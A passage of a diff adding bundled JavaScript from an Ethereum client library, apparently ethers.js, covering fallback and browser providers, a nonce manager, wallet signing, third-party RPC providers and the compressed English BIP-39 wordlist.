undefined) { + if (value instanceof Error) { + throw value; + } + return value; + } + // Add any new runners, because a staller timed out or a result + // or error response came in. + for (let i = 0; i < newRunners; i++) { + this.#addRunner(running, req); + } + // All providers have returned, and we have no result + assert(interesting.length > 0, "quorum not met", "SERVER_ERROR", { + request: "%sub-requests", + info: { request: req, results: Array.from(running).map((r) => stringify(r.result)) } + }); + // Wait for someone to either complete its perform or stall out + await Promise.race(interesting); + // This is recursive, but at worst case the depth is 2x the + // number of providers (each has a perform and a staller) + return await this.#waitForQuorum(running, req); + } + async _perform(req) { + // Broadcasting a transaction is rare (ish) and already incurs + // a cost on the user, so spamming is safe-ish. Just send it to + // every backend. + if (req.method === "broadcastTransaction") { + // Once any broadcast provides a positive result, use it. No + // need to wait for anyone else + const results = this.#configs.map((c) => null); + const broadcasts = this.#configs.map(async ({ provider, weight }, index) => { + try { + const result = await provider._perform(req); + results[index] = Object.assign(normalizeResult(req.method, { result }), { weight }); + } + catch (error) { + results[index] = Object.assign(normalizeResult(req.method, { error }), { weight }); + } + }); + // As each promise finishes... + while (true) { + // Check for a valid broadcast result + const done = results.filter((r) => (r != null)); + for (const { value } of done) { + if (!(value instanceof Error)) { + return value; + } + } + // Check for a legit broadcast error (one which we cannot + // recover from; some nodes may return the following red + // herring events: + // - alredy seend (UNKNOWN_ERROR) + // - NONCE_EXPIRED + // - REPLACEMENT_UNDERPRICED + const result = checkQuorum(this.quorum, results.filter((r) => (r != null))); + if (isError(result, "INSUFFICIENT_FUNDS")) { + throw result; + } + // Kick off the next provider (if any) + const waiting = broadcasts.filter((b, i) => (results[i] == null)); + if (waiting.length === 0) { + break; + } + await Promise.race(waiting); + } + // Use standard quorum results; any result was returned above, + // so this will find any error that met quorum if any + const result = getAnyResult(this.quorum, results); + assert(result !== undefined, "problem multi-broadcasting", "SERVER_ERROR", { + request: "%sub-requests", + info: { request: req, results: results.map(stringify) } + }); + if (result instanceof Error) { + throw result; + } + return result; + } + await this.#initialSync(); + // Bootstrap enough runners to meet quorum + const running = new Set(); + let inflightQuorum = 0; + while (true) { + const runner = this.#addRunner(running, req); + if (runner == null) { + break; + } + inflightQuorum += runner.config.weight; + if (inflightQuorum >= this.quorum) { + break; + } + } + const result = await this.#waitForQuorum(running, req); + // Track requests sent to a provider that are still + // outstanding after quorum has been otherwise found + for (const runner of running) { + if (runner.perform && runner.result == null) { + runner.config.lateResponses++; + } + } + return result; + } + async destroy() { + for (const { provider } of this.#configs) { + provider.destroy(); + } + super.destroy(); + } + } + + function isWebSocketLike(value) { + return (value && typeof (value.send) === "function" && + typeof (value.close) === "function"); + } + const Testnets = "goerli kovan sepolia classicKotti optimism-goerli arbitrum-goerli matic-mumbai bnbt".split(" "); + /** + * Returns a default provider for %%network%%. + * + * If %%network%% is a [[WebSocketLike]] or string that begins with + * ``"ws:"`` or ``"wss:"``, a [[WebSocketProvider]] is returned backed + * by that WebSocket or URL. + * + * If %%network%% is a string that begins with ``"HTTP:"`` or ``"HTTPS:"``, + * a [[JsonRpcProvider]] is returned connected to that URL. + * + * Otherwise, a default provider is created backed by well-known public + * Web3 backends (such as [[link-infura]]) using community-provided API + * keys. + * + * The %%options%% allows specifying custom API keys per backend (setting + * an API key to ``"-"`` will omit that provider) and ``options.exclusive`` + * can be set to either a backend name or and array of backend names, which + * will whitelist **only** those backends. + * + * Current backend strings supported are: + * - ``"alchemy"`` + * - ``"ankr"`` + * - ``"cloudflare"`` + * - ``"chainstack"`` + * - ``"etherscan"`` + * - ``"infura"`` + * - ``"publicPolygon"`` + * - ``"quicknode"`` + * + * @example: + * // Connect to a local Geth node + * provider = getDefaultProvider("http://localhost:8545/"); + * + * // Connect to Ethereum mainnet with any current and future + * // third-party services available + * provider = getDefaultProvider("mainnet"); + * + * // Connect to Polygon, but only allow Etherscan and + * // INFURA and use "MY_API_KEY" in calls to Etherscan. + * provider = getDefaultProvider("matic", { + * etherscan: "MY_API_KEY", + * exclusive: [ "etherscan", "infura" ] + * }); + */ + function getDefaultProvider(network, options) { + if (options == null) { + options = {}; + } + const allowService = (name) => { + if (options[name] === "-") { + return false; + } + if (typeof (options.exclusive) === "string") { + return (name === options.exclusive); + } + if (Array.isArray(options.exclusive)) { + return (options.exclusive.indexOf(name) !== -1); + } + return true; + }; + if (typeof (network) === "string" && network.match(/^https?:/)) { + return new JsonRpcProvider(network); + } + if (typeof (network) === "string" && network.match(/^wss?:/) || isWebSocketLike(network)) { + return new WebSocketProvider(network); + } + // Get the network and name, if possible + let staticNetwork = null; + try { + staticNetwork = Network.from(network); + } + catch (error) { } + const providers = []; + if (allowService("publicPolygon") && staticNetwork) { + if (staticNetwork.name === "matic") { + providers.push(new JsonRpcProvider("https:/\/polygon-rpc.com/", staticNetwork, { staticNetwork })); + } + else if (staticNetwork.name === "matic-amoy") { + providers.push(new JsonRpcProvider("https:/\/rpc-amoy.polygon.technology/", staticNetwork, { staticNetwork })); + } + } + if (allowService("alchemy")) { + try { + providers.push(new AlchemyProvider(network, options.alchemy)); + } + catch (error) { } + } + if (allowService("ankr") && options.ankr != null) { + try { + providers.push(new AnkrProvider(network, options.ankr)); + } + catch (error) { } + } + /* Temporarily remove until custom error issue is fixed + if (allowService("blockscout")) { + try { + providers.push(new BlockscoutProvider(network, options.blockscout)); + } catch (error) { } + } + */ + if (allowService("chainstack")) { + try { + providers.push(new ChainstackProvider(network, options.chainstack)); + } + catch (error) { } + } + if (allowService("cloudflare")) { + try { + providers.push(new CloudflareProvider(network)); + } + catch (error) { } + } + if (allowService("etherscan")) { + try { + providers.push(new EtherscanProvider(network, options.etherscan)); + } + catch (error) { } + } + if (allowService("infura")) { + try { + let projectId = options.infura; + let projectSecret = undefined; + if (typeof (projectId) === "object") { + projectSecret = projectId.projectSecret; + projectId = projectId.projectId; + } + providers.push(new InfuraProvider(network, projectId, projectSecret)); + } + catch (error) { } + } + /* + if (options.pocket !== "-") { + try { + let appId = options.pocket; + let secretKey: undefined | string = undefined; + let loadBalancer: undefined | boolean = undefined; + if (typeof(appId) === "object") { + loadBalancer = !!appId.loadBalancer; + secretKey = appId.secretKey; + appId = appId.appId; + } + providers.push(new PocketProvider(network, appId, secretKey, loadBalancer)); + } catch (error) { console.log(error); } + } + */ + if (allowService("quicknode")) { + try { + let token = options.quicknode; + providers.push(new QuickNodeProvider(network, token)); + } + catch (error) { } + } + assert(providers.length, "unsupported default network", "UNSUPPORTED_OPERATION", { + operation: "getDefaultProvider" + }); + // No need for a FallbackProvider + if (providers.length === 1) { + return providers[0]; + } + // We use the floor because public third-party providers can be unreliable, + // so a low number of providers with a large quorum will fail too often + let quorum = Math.floor(providers.length / 2); + if (quorum > 2) { + quorum = 2; + } + // Testnets don't need as strong a security gaurantee and speed is + // more useful during testing + if (staticNetwork && Testnets.indexOf(staticNetwork.name) !== -1) { + quorum = 1; + } + // Provided override qorum takes priority + if (options && options.quorum) { + quorum = options.quorum; + } + return new FallbackProvider(providers, undefined, { quorum }); + } + + /** + * A **NonceManager** wraps another [[Signer]] and automatically manages + * the nonce, ensuring serialized and sequential nonces are used during + * transaction. + */ + class NonceManager extends AbstractSigner { + /** + * The Signer being managed. + */ + signer; + #noncePromise; + #delta; + /** + * Creates a new **NonceManager** to manage %%signer%%. + */ + constructor(signer) { + super(signer.provider); + defineProperties(this, { signer }); + this.#noncePromise = null; + this.#delta = 0; + } + async getAddress() { + return this.signer.getAddress(); + } + connect(provider) { + return new NonceManager(this.signer.connect(provider)); + } + async getNonce(blockTag) { + if (blockTag === "pending") { + if (this.#noncePromise == null) { + this.#noncePromise = super.getNonce("pending"); + } + const delta = this.#delta; + return (await this.#noncePromise) + delta; + } + return super.getNonce(blockTag); + } + /** + * Manually increment the nonce. This may be useful when managng + * offline transactions. + */ + increment() { + this.#delta++; + } + /** + * Resets the nonce, causing the **NonceManager** to reload the current + * nonce from the blockchain on the next transaction. + */ + reset() { + this.#delta = 0; + this.#noncePromise = null; + } + async sendTransaction(tx) { + const noncePromise = this.getNonce("pending"); + this.increment(); + tx = await this.signer.populateTransaction(tx); + tx.nonce = await noncePromise; + // @TODO: Maybe handle interesting/recoverable errors? + // Like don't increment if the tx was certainly not sent + return await this.signer.sendTransaction(tx); + } + signTransaction(tx) { + return this.signer.signTransaction(tx); + } + signMessage(message) { + return this.signer.signMessage(message); + } + signTypedData(domain, types, value) { + return this.signer.signTypedData(domain, types, value); + } + } + + /** + * A **BrowserProvider** is intended to wrap an injected provider which + * adheres to the [[link-eip-1193]] standard, which most (if not all) + * currently do. + */ + class BrowserProvider extends JsonRpcApiPollingProvider { + #request; + #providerInfo; + /** + * Connect to the %%ethereum%% provider, optionally forcing the + * %%network%%. + */ + constructor(ethereum, network, _options) { + // Copy the options + const options = Object.assign({}, ((_options != null) ? _options : {}), { batchMaxCount: 1 }); + assertArgument(ethereum && ethereum.request, "invalid EIP-1193 provider", "ethereum", ethereum); + super(network, options); + this.#providerInfo = null; + if (_options && _options.providerInfo) { + this.#providerInfo = _options.providerInfo; + } + this.#request = async (method, params) => { + const payload = { method, params }; + this.emit("debug", { action: "sendEip1193Request", payload }); + try { + const result = await ethereum.request(payload); + this.emit("debug", { action: "receiveEip1193Result", result }); + return result; + } + catch (e) { + const error = new Error(e.message); + error.code = e.code; + error.data = e.data; + error.payload = payload; + this.emit("debug", { action: "receiveEip1193Error", error }); + throw error; + } + }; + } + get providerInfo() { + return this.#providerInfo; + } + async send(method, params) { + await this._start(); + return await super.send(method, params); + } + async _send(payload) { + assertArgument(!Array.isArray(payload), "EIP-1193 does not support batch request", "payload", payload); + try { + const result = await this.#request(payload.method, payload.params || []); + return [{ id: payload.id, result }]; + } + catch (e) { + return [{ + id: payload.id, + error: { code: e.code, data: e.data, message: e.message } + }]; + } + } + getRpcError(payload, error) { + error = JSON.parse(JSON.stringify(error)); + // EIP-1193 gives us some machine-readable error codes, so rewrite + // them into Ethers standard errors. + switch (error.error.code || -1) { + case 4001: + error.error.message = `ethers-user-denied: ${error.error.message}`; + break; + case 4200: + error.error.message = `ethers-unsupported: ${error.error.message}`; + break; + } + return super.getRpcError(payload, error); + } + /** + * Resolves to ``true`` if the provider manages the %%address%%. + */ + async hasSigner(address) { + if (address == null) { + address = 0; + } + const accounts = await this.send("eth_accounts", []); + if (typeof (address) === "number") { + return (accounts.length > address); + } + address = address.toLowerCase(); + return accounts.filter((a) => (a.toLowerCase() === address)).length !== 0; + } + async getSigner(address) { + if (address == null) { + address = 0; + } + if (!(await this.hasSigner(address))) { + try { + await this.#request("eth_requestAccounts", []); + } + catch (error) { + const payload = error.payload; + throw this.getRpcError(payload, { id: payload.id, error }); + } + } + return await super.getSigner(address); + } + /** + * Discover and connect to a Provider in the Browser using the + * [[link-eip-6963]] discovery mechanism. If no providers are + * present, ``null`` is resolved. + */ + static async discover(options) { + if (options == null) { + options = {}; + } + if (options.provider) { + return new BrowserProvider(options.provider); + } + const context = options.window ? options.window : + (typeof (window) !== "undefined") ? window : null; + if (context == null) { + return null; + } + const anyProvider = options.anyProvider; + if (anyProvider && context.ethereum) { + return new BrowserProvider(context.ethereum); + } + if (!("addEventListener" in context && "dispatchEvent" in context + && "removeEventListener" in context)) { + return null; + } + const timeout = options.timeout ? options.timeout : 300; + if (timeout === 0) { + return null; + } + return await (new Promise((resolve, reject) => { + let found = []; + const addProvider = (event) => { + found.push(event.detail); + if (anyProvider) { + finalize(); + } + }; + const finalize = () => { + clearTimeout(timer); + if (found.length) { + // If filtering is provided: + if (options && options.filter) { + // Call filter, with a copies of found provider infos + const filtered = options.filter(found.map(i => Object.assign({}, (i.info)))); + if (filtered == null) { + // No provider selected + resolve(null); + } + else if (filtered instanceof BrowserProvider) { + // Custom provider created + resolve(filtered); + } + else { + // Find the matching provider + let match = null; + if (filtered.uuid) { + const matches = found.filter(f => (filtered.uuid === f.info.uuid)); + // @TODO: What should happen if multiple values + // for the same UUID? + match = matches[0]; + } + if (match) { + const { provider, info } = match; + resolve(new BrowserProvider(provider, undefined, { + providerInfo: info + })); + } + else { + reject(makeError("filter returned unknown info", "UNSUPPORTED_OPERATION", { + value: filtered + })); + } + } + } + else { + // Pick the first found provider + const { provider, info } = found[0]; + resolve(new BrowserProvider(provider, undefined, { + providerInfo: info + })); + } + } + else { + // Nothing found + resolve(null); + } + context.removeEventListener("eip6963:announceProvider", addProvider); + }; + const timer = setTimeout(() => { finalize(); }, timeout); + context.addEventListener("eip6963:announceProvider", addProvider); + context.dispatchEvent(new Event("eip6963:requestProvider")); + })); + } + } + + /** + * [[link-blockscout]] provides a third-party service for connecting to + * various blockchains over JSON-RPC. + * + * **Supported Networks** + * + * - Ethereum Mainnet (``mainnet``) + * - Sepolia Testnet (``sepolia``) + * - Holesky Testnet (``holesky``) + * - Ethereum Classic (``classic``) + * - Arbitrum (``arbitrum``) + * - Base (``base``) + * - Base Sepolia Testnet (``base-sepolia``) + * - Gnosis (``xdai``) + * - Optimism (``optimism``) + * - Optimism Sepolia Testnet (``optimism-sepolia``) + * - Polygon (``matic``) + * + * @_subsection: api/providers/thirdparty:Blockscout [providers-blockscout] + */ + function getUrl(name) { + switch (name) { + case "mainnet": + return "https:/\/eth.blockscout.com/api/eth-rpc"; + case "sepolia": + return "https:/\/eth-sepolia.blockscout.com/api/eth-rpc"; + case "holesky": + return "https:/\/eth-holesky.blockscout.com/api/eth-rpc"; + case "classic": + return "https:/\/etc.blockscout.com/api/eth-rpc"; + case "arbitrum": + return "https:/\/arbitrum.blockscout.com/api/eth-rpc"; + case "base": + return "https:/\/base.blockscout.com/api/eth-rpc"; + case "base-sepolia": + return "https:/\/base-sepolia.blockscout.com/api/eth-rpc"; + case "matic": + return "https:/\/polygon.blockscout.com/api/eth-rpc"; + case "optimism": + return "https:/\/optimism.blockscout.com/api/eth-rpc"; + case "optimism-sepolia": + return "https:/\/optimism-sepolia.blockscout.com/api/eth-rpc"; + case "xdai": + return "https:/\/gnosis.blockscout.com/api/eth-rpc"; + } + assertArgument(false, "unsupported network", "network", name); + } + /** + * The **BlockscoutProvider** connects to the [[link-blockscout]] + * JSON-RPC end-points. + * + * By default, a highly-throttled API key is used, which is + * appropriate for quick prototypes and simple scripts. To + * gain access to an increased rate-limit, it is highly + * recommended to [sign up here](link-blockscout). + */ + class BlockscoutProvider extends JsonRpcProvider { + /** + * The API key. + */ + apiKey; + /** + * Creates a new **BlockscoutProvider**. + */ + constructor(_network, apiKey) { + if (_network == null) { + _network = "mainnet"; + } + const network = Network.from(_network); + if (apiKey == null) { + apiKey = null; + } + const request = BlockscoutProvider.getRequest(network); + super(request, network, { staticNetwork: network }); + defineProperties(this, { apiKey }); + } + _getProvider(chainId) { + try { + return new BlockscoutProvider(chainId, this.apiKey); + } + catch (error) { } + return super._getProvider(chainId); + } + isCommunityResource() { + return (this.apiKey === null); + } + getRpcRequest(req) { + // Blockscout enforces the TAG argument for estimateGas + const resp = super.getRpcRequest(req); + if (resp && resp.method === "eth_estimateGas" && resp.args.length == 1) { + resp.args = resp.args.slice(); + resp.args.push("latest"); + } + return resp; + } + getRpcError(payload, _error) { + const error = _error ? _error.error : null; + // Blockscout currently drops the VM result and replaces it with a + // human-readable string, so we need to make it machine-readable. + if (error && error.code === -32015 && !isHexString(error.data || "", true)) { + const panicCodes = { + "assert(false)": "01", + "arithmetic underflow or overflow": "11", + "division or modulo by zero": "12", + "out-of-bounds array access; popping on an empty array": "31", + "out-of-bounds access of an array or bytesN": "32" + }; + let panicCode = ""; + if (error.message === "VM execution error.") { + // eth_call passes this message + panicCode = panicCodes[error.data] || ""; + } + else if (panicCodes[error.message || ""]) { + panicCode = panicCodes[error.message || ""]; + } + if (panicCode) { + error.message += ` (reverted: ${error.data})`; + error.data = "0x4e487b7100000000000000000000000000000000000000000000000000000000000000" + panicCode; + } + } + else if (error && error.code === -32000) { + if (error.message === "wrong transaction nonce") { + error.message += " (nonce too low)"; + } + } + return super.getRpcError(payload, _error); + } + /** + * Returns a prepared request for connecting to %%network%% + * with %%apiKey%%. + */ + static getRequest(network) { + const request = new FetchRequest(getUrl(network.name)); + request.allowGzip = true; + return request; + } + } + + /** + * [[link-pocket]] provides a third-party service for connecting to + * various blockchains over JSON-RPC. + * + * **Supported Networks** + * + * - Ethereum Mainnet (``mainnet``) + * - Goerli Testnet (``goerli``) + * - Polygon (``matic``) + * - Arbitrum (``arbitrum``) + * + * @_subsection: api/providers/thirdparty:Pocket [providers-pocket] + */ + const defaultApplicationId = "62e1ad51b37b8e00394bda3b"; + function getHost(name) { + switch (name) { + case "mainnet": + return "eth-mainnet.gateway.pokt.network"; + case "goerli": + return "eth-goerli.gateway.pokt.network"; + case "matic": + return "poly-mainnet.gateway.pokt.network"; + case "matic-mumbai": + return "polygon-mumbai-rpc.gateway.pokt.network"; + } + assertArgument(false, "unsupported network", "network", name); + } + /** + * The **PocketProvider** connects to the [[link-pocket]] + * JSON-RPC end-points. + * + * By default, a highly-throttled API key is used, which is + * appropriate for quick prototypes and simple scripts. To + * gain access to an increased rate-limit, it is highly + * recommended to [sign up here](link-pocket-signup). + */ + class PocketProvider extends JsonRpcProvider { + /** + * The Application ID for the Pocket connection. + */ + applicationId; + /** + * The Application Secret for making authenticated requests + * to the Pocket connection. + */ + applicationSecret; + /** + * Create a new **PocketProvider**. + * + * By default connecting to ``mainnet`` with a highly throttled + * API key. + */ + constructor(_network, applicationId, applicationSecret) { + if (_network == null) { + _network = "mainnet"; + } + const network = Network.from(_network); + if (applicationId == null) { + applicationId = defaultApplicationId; + } + if (applicationSecret == null) { + applicationSecret = null; + } + const options = { staticNetwork: network }; + const request = PocketProvider.getRequest(network, applicationId, applicationSecret); + super(request, network, options); + defineProperties(this, { applicationId, applicationSecret }); + } + _getProvider(chainId) { + try { + return new PocketProvider(chainId, this.applicationId, this.applicationSecret); + } + catch (error) { } + return super._getProvider(chainId); + } + /** + * Returns a prepared request for connecting to %%network%% with + * %%applicationId%%. + */ + static getRequest(network, applicationId, applicationSecret) { + if (applicationId == null) { + applicationId = defaultApplicationId; + } + const request = new FetchRequest(`https:/\/${getHost(network.name)}/v1/lb/${applicationId}`); + request.allowGzip = true; + if (applicationSecret) { + request.setCredentials("", applicationSecret); + } + if (applicationId === defaultApplicationId) { + request.retryFunc = async (request, response, attempt) => { + showThrottleMessage("PocketProvider"); + return true; + }; + } + return request; + } + isCommunityResource() { + return (this.applicationId === defaultApplicationId); + } + } + + const IpcSocketProvider = undefined; + + /** + * The **BaseWallet** is a stream-lined implementation of a + * [[Signer]] that operates with a private key. + * + * It is preferred to use the [[Wallet]] class, as it offers + * additional functionality and simplifies loading a variety + * of JSON formats, Mnemonic Phrases, etc. + * + * This class may be of use for those attempting to implement + * a minimal Signer. + */ + class BaseWallet extends AbstractSigner { + /** + * The wallet address. + */ + address; + #signingKey; + /** + * Creates a new BaseWallet for %%privateKey%%, optionally + * connected to %%provider%%. + * + * If %%provider%% is not specified, only offline methods can + * be used. + */ + constructor(privateKey, provider) { + super(provider); + assertArgument(privateKey && typeof (privateKey.sign) === "function", "invalid private key", "privateKey", "[ REDACTED ]"); + this.#signingKey = privateKey; + const address = computeAddress(this.signingKey.publicKey); + defineProperties(this, { address }); + } + // Store private values behind getters to reduce visibility + // in console.log + /** + * The [[SigningKey]] used for signing payloads. + */ + get signingKey() { return this.#signingKey; } + /** + * The private key for this wallet. + */ + get privateKey() { return this.signingKey.privateKey; } + async getAddress() { return this.address; } + connect(provider) { + return new BaseWallet(this.#signingKey, provider); + } + async signTransaction(tx) { + tx = copyRequest(tx); + // Replace any Addressable or ENS name with an address + const { to, from } = await resolveProperties({ + to: (tx.to ? resolveAddress(tx.to, this) : undefined), + from: (tx.from ? resolveAddress(tx.from, this) : undefined) + }); + if (to != null) { + tx.to = to; + } + if (from != null) { + tx.from = from; + } + if (tx.from != null) { + assertArgument(getAddress((tx.from)) === this.address, "transaction from address mismatch", "tx.from", tx.from); + delete tx.from; + } + // Build the transaction + const btx = Transaction.from(tx); + btx.signature = this.signingKey.sign(btx.unsignedHash); + return btx.serialized; + } + async signMessage(message) { + return this.signMessageSync(message); + } + // @TODO: Add a secialized signTx and signTyped sync that enforces + // all parameters are known? + /** + * Returns the signature for %%message%% signed with this wallet. + */ + signMessageSync(message) { + return this.signingKey.sign(hashMessage(message)).serialized; + } + /** + * Returns the Authorization for %%auth%%. + */ + authorizeSync(auth) { + assertArgument(typeof (auth.address) === "string", "invalid address for authorizeSync", "auth.address", auth); + const signature = this.signingKey.sign(hashAuthorization(auth)); + return Object.assign({}, { + address: getAddress(auth.address), + nonce: getBigInt(auth.nonce || 0), + chainId: getBigInt(auth.chainId || 0), + }, { signature }); + } + /** + * Resolves to the Authorization for %%auth%%. + */ + async authorize(auth) { + auth = Object.assign({}, auth, { + address: await resolveAddress(auth.address, this) + }); + return this.authorizeSync(await this.populateAuthorization(auth)); + } + async signTypedData(domain, types, value) { + // Populate any ENS names + const populated = await TypedDataEncoder.resolveNames(domain, types, value, async (name) => { + // @TODO: this should use resolveName; addresses don't + // need a provider + assert(this.provider != null, "cannot resolve ENS names without a provider", "UNSUPPORTED_OPERATION", { + operation: "resolveName", + info: { name } + }); + const address = await this.provider.resolveName(name); + assert(address != null, "unconfigured ENS name", "UNCONFIGURED_NAME", { + value: name + }); + return address; + }); + return this.signingKey.sign(TypedDataEncoder.hash(populated.domain, types, populated.value)).serialized; + } + } + + const subsChrs = " !#$%&'()*+,-./<=>?@[]^_`{|}~"; + const Word = /^[a-z]*$/i; + function unfold(words, sep) { + let initial = 97; + return words.reduce((accum, word) => { + if (word === sep) { + initial++; + } + else if (word.match(Word)) { + accum.push(String.fromCharCode(initial) + word); + } + else { + initial = 97; + accum.push(word); + } + return accum; + }, []); + } + /** + * @_ignore + */ + function decode(data, subs) { + // Replace all the substitutions with their expanded form + for (let i = subsChrs.length - 1; i >= 0; i--) { + data = data.split(subsChrs[i]).join(subs.substring(2 * i, 2 * i + 2)); + } + // Get all tle clumps; each suffix, first-increment and second-increment + const clumps = []; + const leftover = data.replace(/(:|([0-9])|([A-Z][a-z]*))/g, (all, item, semi, word) => { + if (semi) { + for (let i = parseInt(semi); i >= 0; i--) { + clumps.push(";"); + } + } + else { + clumps.push(item.toLowerCase()); + } + return ""; + }); + /* c8 ignore start */ + if (leftover) { + throw new Error(`leftovers: ${JSON.stringify(leftover)}`); + } + /* c8 ignore stop */ + return unfold(unfold(clumps, ";"), ":"); + } + /** + * @_ignore + */ + function decodeOwl(data) { + assertArgument(data[0] === "0", "unsupported auwl data", "data", data); + return decode(data.substring(1 + 2 * subsChrs.length), data.substring(1, 1 + 2 * subsChrs.length)); + } + + /** + * A Wordlist represents a collection of language-specific + * words used to encode and devoce [[link-bip-39]] encoded data + * by mapping words to 11-bit values and vice versa. + */ + class Wordlist { + locale; + /** + * Creates a new Wordlist instance. + * + * Sub-classes MUST call this if they provide their own constructor, + * passing in the locale string of the language. + * + * Generally there is no need to create instances of a Wordlist, + * since each language-specific Wordlist creates an instance and + * there is no state kept internally, so they are safe to share. + */ + constructor(locale) { + defineProperties(this, { locale }); + } + /** + * Sub-classes may override this to provide a language-specific + * method for spliting %%phrase%% into individual words. + * + * By default, %%phrase%% is split using any sequences of + * white-space as defined by regular expressions (i.e. ``/\s+/``). + */ + split(phrase) { + return phrase.toLowerCase().split(/\s+/g); + } + /** + * Sub-classes may override this to provider a language-specific + * method for joining %%words%% into a phrase. + * + * By default, %%words%% are joined by a single space. + */ + join(words) { + return words.join(" "); + } + } + + // Use the encode-latin.js script to create the necessary + // data files to be consumed by this class + /** + * An OWL format Wordlist is an encoding method that exploits + * the general locality of alphabetically sorted words to + * achieve a simple but effective means of compression. + * + * This class is generally not useful to most developers as + * it is used mainly internally to keep Wordlists for languages + * based on ASCII-7 small. + * + * If necessary, there are tools within the ``generation/`` folder + * to create the necessary data. + */ + class WordlistOwl extends Wordlist { + #data; + #checksum; + /** + * Creates a new Wordlist for %%locale%% using the OWL %%data%% + * and validated against the %%checksum%%. + */ + constructor(locale, data, checksum) { + super(locale); + this.#data = data; + this.#checksum = checksum; + this.#words = null; + } + /** + * The OWL-encoded data. + */ + get _data() { return this.#data; } + /** + * Decode all the words for the wordlist. + */ + _decodeWords() { + return decodeOwl(this.#data); + } + #words; + #loadWords() { + if (this.#words == null) { + const words = this._decodeWords(); + // Verify the computed list matches the official list + const checksum = id(words.join("\n") + "\n"); + /* c8 ignore start */ + if (checksum !== this.#checksum) { + throw new Error(`BIP39 Wordlist for ${this.locale} FAILED`); + } + /* c8 ignore stop */ + this.#words = words; + } + return this.#words; + } + getWord(index) { + const words = this.#loadWords(); + assertArgument(index >= 0 && index < words.length, `invalid word index: ${index}`, "index", index); + return words[index]; + } + getWordIndex(word) { + return this.#loadWords().indexOf(word); + } + } + + const words = "0erleonalorenseinceregesticitStanvetearctssi#ch2Athck&tneLl0And#Il.yLeOutO=S|S%b/ra@SurdU'0Ce[Cid|CountCu'Hie=IdOu,-Qui*Ro[TT]T%T*[Tu$0AptDD-tD*[Ju,M.UltV<)Vi)0Rob-0FairF%dRaid0A(EEntRee0Ead0MRRp%tS!_rmBumCoholErtI&LLeyLowMo,O}PhaReadySoT Ways0A>urAz(gOngOuntU'd0Aly,Ch%Ci|G G!GryIm$K!Noun)Nu$O` Sw T&naTiqueXietyY1ArtOlogyPe?P!Pro=Ril1ChCt-EaEnaGueMMedM%MyOundR<+Re,Ri=RowTTefa@Ti,Tw%k0KPe@SaultSetSi,SumeThma0H!>OmTa{T&dT.udeTra@0Ct]D.Gu,NtTh%ToTumn0Era+OcadoOid0AkeA*AyEsomeFulKw?d0Is:ByChel%C#D+GL<)Lc#y~MbooN_{Ad!AftAmA}AshAt AwlAzyEamEd.EekEwI{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3AdowAnAsu*AtCh<-D$DiaLodyLtMb M%yNt]NuRcyR+R.RryShSsa+T$Thod3Dd!DnightLk~]M-NdNimumN%Nu>Rac!Rr%S ySs/akeXXedXtu*5Bi!DelDifyMM|N.%NkeyN, N`OnR$ReRn(gSqu.oTh T]T%Unta(U'VeVie5ChFf(LeLtiplySc!SeumShroomS-/Tu$3Self/ yTh:I=MePk(Rrow/yT]Tu*3ArCkEdGati=G!@I` PhewR=/TTw%kUtr$V WsXt3CeGht5B!I'M(eeOd!Rm$R`SeTab!TeTh(gTi)VelW5C!?Mb R'T:K0EyJe@Li+Scu*S =Ta(Vious0CurEAyEa'Ed+U{UgUn+2EmEtIntL?LeLi)NdNyOlPul?Rt]S.]Ssib!/TatoTt yV tyWd W _@i)Ai'Ed-tEf Epa*Es|EttyEv|I)IdeIm?yIntI%.yIs#Iva>IzeOb!mO)[Odu)Of.OgramOje@Omo>OofOp tyOsp O>@OudOvide2Bl-Dd(g~LpL'Mpk(N^PilPpyR^a'R.yRpo'R'ShTZz!3Ramid:99Al.yAntumArt E,]I{ItIzO>:Bb.Cco#CeCkD?DioIlInI'~yMpN^NdomN+PidReTeTh V&WZ%3AdyAlAs#BelBuildC$lCei=CipeC%dCyc!Du)F!@F%mFu'G]G*tGul?Je@LaxLea'LiefLyMa(Memb M(dMo=Nd NewNtOp&PairPeatPla)P%tQui*ScueSemb!Si,Sour)Sp#'SultTi*T*atTurnUn]Ve$ViewW?d2Y`m0BBb#CeChDeD+F!GhtGidNgOtPp!SkTu$V$V 5AdA,BotBu,CketM<)OfOkieOmSeTa>UghUndU>Y$5Bb DeGLeNNwayR$:DDd!D}[FeIlLadLm#L#LtLu>MeMp!NdTisfyToshiU)Usa+VeY1A!AnA*Att E}HemeHoolI&)I[%sOrp]OutRapRe&RiptRub1AAr^As#AtC#dC*tCt]Cur.yEdEkGm|Le@~M(?Ni%N'Nt&)RiesRvi)Ss]Tt!TupV&_dowAftAllowA*EdEllEriffIeldIftI}IpIv O{OeOotOpOrtOuld O=RimpRugUff!Y0Bl(gCkDeE+GhtGnL|Lk~yLv Mil?Mp!N)NgR&/ Tua>XZe1A>Et^IIllInIrtUll0AbAmEepEnd I)IdeIghtImOgAyEakEelEmEpE*oI{IllIngO{Oma^O}OolOryO=Ra>gyReetRikeR#gRugg!Ud|UffUmb!Y!0Bje@Bm.BwayC)[ChDd&Ff G?G+,ItMm NNnyN'tP PplyP*meReRfa)R+Rpri'RroundR=ySpe@/a(1AllowAmpApArmE?EetIftImIngIt^Ord1MbolMptomRup/em:B!Ck!GIlL|LkNkPeR+tSk/eTtooXi3A^Am~NNGradeHoldOnP Set1BOng::Rd3Ar~ow9UUngU`:3BraRo9NeO"; + const checksum = "0x3c8acc1e7b08d8e76f9fda015ef48dc8c710a73cb7e0f77b2c18a9b5a7adde60"; + let wordlist = null; + /** + * The [[link-bip39-en]] for [mnemonic phrases](link-bip-39). + * + * @_docloc: api/wordlists + */ + class LangEn extends WordlistOwl { + /** + * Creates a new instance of the English language Wordlist. + * + * This should be unnecessary most of the time as the exported + * [[langEn]] should suffice. + * + * @_ignore: + */ + constructor() { super("en", words, checksum); } + /** + * Returns a singleton instance of a ``LangEn``, creating it + * if this is the first time being called. + */ + static wordlist() { + if (wordlist == null) { + wordlist = new LangEn(); + } + return wordlist; + } + } + + // Returns a byte with the MSB bits set + function getUpperMask(bits) { + return ((1 << bits) - 1) << (8 - bits) & 0xff; + } + // Returns a byte with the LSB bits set + function getLowerMask(bits) { + return ((1 << bits) - 1) & 0xff; + } + function mnemonicToEntropy(mnemonic, wordlist) { + assertNormalize("NFKD"); + if (wordlist == null) { + wordlist = LangEn.wordlist(); + } + const words = wordlist.split(mnemonic); + assertArgument((words.length % 3) === 0 && words.length >= 12 && words.length <= 24, "invalid mnemonic length", "mnemonic", "[ REDACTED ]"); + const entropy = new Uint8Array(Math.ceil(11 * words.length / 8)); + let offset = 0; + for (let i = 0; i < 